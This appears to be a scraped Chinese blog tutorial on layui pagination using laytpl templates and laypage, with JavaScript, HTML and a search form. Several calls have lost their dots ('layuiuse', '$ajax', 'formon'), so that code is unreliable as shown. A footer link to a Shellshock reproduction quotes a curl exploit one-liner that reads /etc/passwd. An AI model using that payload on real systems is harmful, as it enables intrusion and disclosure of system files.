layui 通过laytpl模板,以及laypage分页实现
一、引用js依赖
jquery-1.11.3.min.js , layui.all.js, json2.js
二、js分页方法封装(分页使用模板laytpl)
1、模板渲染
/**
* 分页模板的渲染方法
* @param templateId 分页需要渲染的模板的id
* @param resultContentId 模板渲染后显示在页面的内容的容器id
* @param data 服务器返回的json对象
*/
function
renderTemplate(templateId, resultContentId, data){
layuiuse([
'form'
,
'laytpl'
],
function
(){
var
laytpl = layui.laytpl;
laytpl($(
"#"
+templateId).html()).render(data,
function
(html){
$(
"#"
+resultContentId).html(html);
});
});
layui.form().render();
// 渲染
};
/**
* layuilaypage 分页封装
* @param laypageDivId 分页控件Div层的id
* @param pageParams 分页的参数
* @param templateId 分页需要渲染的模板的id
* @param resultContentId 模板渲染后显示在页面的内容的容器id
* @param url 向服务器请求分页的url链接地址
*/
function
renderPageData(laypageDivId, pageParams, templateId, resultContentId, url){
if
(isNull(pageParams)){
pageParams = {
pageIndex : 1,
pageSize : 10
}
}
$ajax({
url : url,
//basePath + '/sysMenu/pageSysMenu',
method :
'post'
,
data : pageParams,
//JSON.stringify(datasub)
async :
true
,
complete :
function
(XHR, TS){},
error :
function
(XMLHttpRequest, textStatus, errorThrown) {
if
(
"error"
==textStatus){
error(
"服务器未响应,请稍候再试"
);
}
else
{
error(
"操作失败,textStatus="
+textStatus);
}
},
success :
function
(data) {
var
jsonObj;
if
(
'object'
==
typeof
data){
jsonObj = data;
}
else
{
jsonObj = JSON.parse(data);
}
renderTemplate(templateId, resultContentId, jsonObj);
//重新初始化分页插件
layui.use([
'form'
,
'laypage'
],
function
(){
laypage = layui.laypage;
laypage({
cont : laypageDivId,
curr : jsonObj.pager.pageIndex,
pages : jsonObj.pager.totalPage,
skip :
true
,
jump:
function
(obj, first){
//obj是一个object类型。包括了分页的所有配置信息。first一个Boolean类,检测页面是否初始加载。非常有用,可避免无限刷新。
pageParams.pageIndex = obj.curr;
pageParams.pageSize = jsonObj.pager.pageSize;
if
(!first){
renderPageData(laypageDivId, pageParams, templateId, resultContentId, url);
}
}
});
});
}
});
};
/**
* 分页插件刷新当前页的数据,必须有跳转的确定按钮,因为根据按钮点击事件刷新
*/
function
reloadCurrentPage(){
$(
".layui-laypage-btn"
).click();
};
<!-- 分页表格 -->
<
div
class
=
"layui-form"
>
<
table
class
=
"layui-table"
>
<
thead
>
<
tr
>
<
th
class
=
"w20"
><
input
type
=
"checkbox"
name
=
"checkBoxAll"
lay-skin
=
"primary"
lay-filter
=
"allChoose"
></
th
>
<
th
class
=
"w200"
>许可名称</
th
>
<
th
class
=
"w200"
>许可编码</
th
>
<
th
class
=
"w200"
>菜单名称</
th
>
<
th
>许可链接</
th
>
</
tr
>
</
thead
>
<
tbody
id
=
"page_template_body_id"
>
</
tbody
>
</
table
>
</
div
>
<!-- 分页控件div -->
<
div
id
=
"imovie-page-div"
></
div
>
<script id=
"page_template_id"
type=
"text/html"
>
{{
# layui.each(d.list, function(index, item){ }}
<tr>
<td><input type=
"checkbox"
name=
"permissionId"
lay-skin=
"primary"
value=
"{{item.permissionId}}"
></td>
<td>{{item.permissionName ||
''
}}</td>
<td>{{item.permissionCode ||
''
}}</td>
<td>{{item.menuName ||
''
}}</td>
<td>{{item.permissionUrl ||
''
}}</td>
</tr>
{{
# }); }}
</script>
function
getPageParams(){
var
pageParams = {
pageIndex : 1,
pageSize : 2
};
pageParams.permissionName = $(
"input[name='permissionName']"
).val();
pageParams.permissionCode = $(
"input[name='permissionCode']"
).val();
pageParams.menuName = $(
"input[name='menuName']"
).val();
return
pageParams;
};
function
initPage(){
renderPageData(
"imovie-page-div"
, getPageParams(),
"page_template_id"
,
"page_template_body_id"
, basePath +
'/sysPermission/pageSysPermission'
);
};
$(
function
(){
initPage();
});
<
div
>
<
form
class
=
"layui-form layui-form-pane"
>
<
div
class
=
"layui-form-item"
>
<
div
class
=
"layui-inline"
>
<
label
class
=
"layui-form-label"
>许可名称</
label
>
<
div
class
=
"layui-input-inline"
>
<
input
type
=
"text"
name
=
"permissionName"
autocomplete
=
"off"
class
=
"layui-input"
placeholder
=
"请输入许可名称"
>
</
div
>
</
div
>
<
div
class
=
"layui-inline"
>
<
label
class
=
"layui-form-label"
>许可编码</
label
>
<
div
class
=
"layui-input-inline"
>
<
input
type
=
"text"
name
=
"permissionCode"
autocomplete
=
"off"
placeholder
=
"请输入许可编码"
class
=
"layui-input"
>
</
div
>
</
div
>
<
div
class
=
"layui-inline"
>
<
label
class
=
"layui-form-label"
>菜单名称</
label
>
<
div
class
=
"layui-input-inline layui-input-inline-0"
>
<
input
type
=
"text"
name
=
"menuName"
autocomplete
=
"off"
placeholder
=
"请选择菜单名称"
class
=
"layui-input"
>
</
div
>
</
div
>
<
div
class
=
"layui-inline"
>
<
button
id
=
"btnSubmit"
class
=
"layui-btn"
lay-submit
=
""
lay-filter
=
"formFilter"
>查询</
button
>
</
div
>
</
div
>
</
form
>
</
div
>
$(
function
(){
initPage();
layui.use([
'form'
],
function
(){
var
form = layui.form();
//监听提交
formon(
'submit(formFilter)'
,
function
(data){
initPage();
return
false
;
});
});
});
layui 通过laytpl模板,以及laypage分页实现的更多相关文章
- LayUI分页,LayUI动态分页,LayUI laypage分页,LayUI laypage刷新当前页
LayUI分页,LayUI动态分页,LayUI laypage分页,LayUI laypage刷新当前页 >>>>>>>>>>>> ...
- layui.laytpl 模板引擎用法
目录 layui下载地址: 最终效果: 模板引擎文档 手册地址: 以下是代码思路: layui下载地址: https://www.layui.com/ 最终效果: 模板引擎文档 手册地址: https ...
- 拿来主义:layPage分页插件的使用
布衣之谈 所谓插件,大概就是项目中可插可拔的比较小功能化的组件:这些功能组件若能力可及,自己也可以完成——也即自己造轮子,但翻看各种技术社区,相关领域的神人们往往会有更好的实现方案贡献出来,这个时候你 ...
- 如何基于layui的laytpl实现数据绑定
想了半天才想起自己园子的登录密码.可想而知,多长时间没登录了 正文一开始用layui做了几个管理系统,所以用起来觉得确实很容易上手,管理后台最常用的就是form和table以及弹窗类.layui提供的 ...
- laytpl模板——怎么使用ajax与数据交互
第一次在项目中用laytpl模板,下面是一些使用过程中的探索,希望对小伙伴们有所帮助. 注:第一次使用这个模板的小伙伴建议先去看看官网 laytpl <script type="tex ...
- doT.js模板和pagination分页应用
doT.js模板和pagination分页应用 博客中模拟了数据加载初始化的过程.doT.js渲染每一项内容的数据项.示例如下: <script id="Messtmpl" ...
- 基于layPage分页插件浅析两种分页方式
最近在开发过程中经常用到分页,今天挤出些时间来捋一捋自己的经验 在web开发中,一般显示数据列表页时,我们会用到分页控件来显示数据.采用分页一般基于两种不同的需求,一种是数据量不算很大,但是在页面展示 ...
- 记录项目中用的laypage分页代码
最终才觉得,好记性不如烂笔头,毕竟已经不是刚毕业时候的巅峰了,精力有所下降,很多时候记不住东西. 参考url:http://www.layui.com/laypage/ 直接上代码了 <scri ...
- layui之layer打开table后分页无效的解决方法
1.原代码: <body> <div id="showalladdableavms" style="display: none;width:100%&q ...
随机推荐
- PART(Persistent Adaptive Radix Tree)的Java实现源码剖析
论文地址 Adaptive Radix Tree: https://db.in.tum.de/~leis/papers/ART.pdf Persistent Adaptive Radix Tree: ...
- 【Linux】Xshell 配置密钥登陆
设置不需要密码登陆 vim /etc/ssh/sshd_config 在配置文件中参数的意义 PubkeyAuthentication yes #启用公告密钥配对认证方式 AuthorizedKeys ...
- Spring 基于 Java 的配置
前面已经学习如何使用 XML 配置文件来配置 Spring bean. 基于 Java 的配置可以达到基于XML配置的相同效果. 基于 Java 的配置选项,可以使你在不用配置 XML 的情况下编写大 ...
- Ubuntu下配置Hyperledger Fabric环境
在win10系统的台式机上安装配置Hyperledger Fabric环境 安装Ubuntu 16.04 双系统 镜像下载地址:https://www.ubuntu.com/download/desk ...
- freemark+dom4j实现自动化word导出
导出word我们常用的是通过POI实现导出.POI最擅长的是EXCEL的操作.word操作起来样式控制还是太繁琐了.今天我们介绍下通过FREEMARK来实现word模板导出. 目录 开发准备 模板准备 ...
- Spring的bean创建方式ref使用方法
java public class UserServiceImp implements UserService{ private UserDao userDao =null; public void ...
- PHP cookie基本操作
PHP中Cookie的使用---添加/更新/删除/获取Cookie 及 自动填写该用户的用户名和密码和判断是否第一次登陆 什么是cookie 服务器在客户端保存用户的信息,比如登录名,密码等 这些数据 ...
- Shellshock漏洞复现
漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...
- day 7 while循环
#隐式布尔值: 0 none 空# 一.流程控制# 短路运算:偷懒原则,偷懒到哪个位置,就把当前位置的值返回# 为0# (10>3 and 10 and 0 and 10 )or( 10> ...
- win10下安装scrapy出现错误的处理
一.背景: 在win10的dos窗口下使用命令pip install scrapy安装scrapy时,出现“ error: Microsoft Visual C++ 14.0 is required. ...